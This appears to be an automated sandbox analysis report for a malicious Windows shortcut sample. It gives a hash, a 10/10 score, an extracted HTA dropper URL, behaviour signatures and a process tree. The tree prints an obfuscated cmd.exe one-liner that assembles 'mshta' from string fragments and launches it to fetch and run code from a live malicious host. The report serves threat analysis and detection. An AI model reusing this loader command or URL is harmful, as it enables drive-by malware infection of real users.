Analysis
- max time kernel
59s - max time network
61s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
23/08/2026, 03:35
General
- Target DOC-A3L03Y.lnk
- Size 2KB
- Sample260823-d5e1sshc25
- SHA256 fadee67f2ac5fa5075debe7c7fa396fd2e1fa76d142730a69687f3f6f2b3c1e8
Score
10/10
Malware Config
Extracted
Language
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hta
Source
URLs
-
hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-A3L03Y.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set zFr=inffaeptxdtainf&&set AaSj=7hmes&&set rXdj=hksshb9h&&set Jh=potta0io&&set Ig=tmprkwvoiobkoisktmp&&set HIDk=datfigkvxkrnkdat&&set ukJ=cachecgowqphrsbylfvpcwcache&&set rj=winvbflnyozdszkznfakwin&&set lnoP=lstarcg7&&set QsKz=o1tlq&&set TK=cachefhsdtuncqficache&&set sj=baklyxlbak&&set tG=cfgagoywzihtgjdetxcfg&&set eqPrT=sysmemtedygsys&&set YWiUa=netddqfwbtmearrlpdpnet&&set xyJ=loguivoevkesylog&&set Jcy=sysbmrqssys&&set Xz=h@ttps://k-d@o@cumen@tac@ion.@lat/h/e@s@ta@g@i@o@[email protected]@?@r@=3F1@477@F1539@8D1&&start /b !AaSj:~2,1!!rXdj:~3,2!!Jh:~3,2! !Xz:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\mshta.exemshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵
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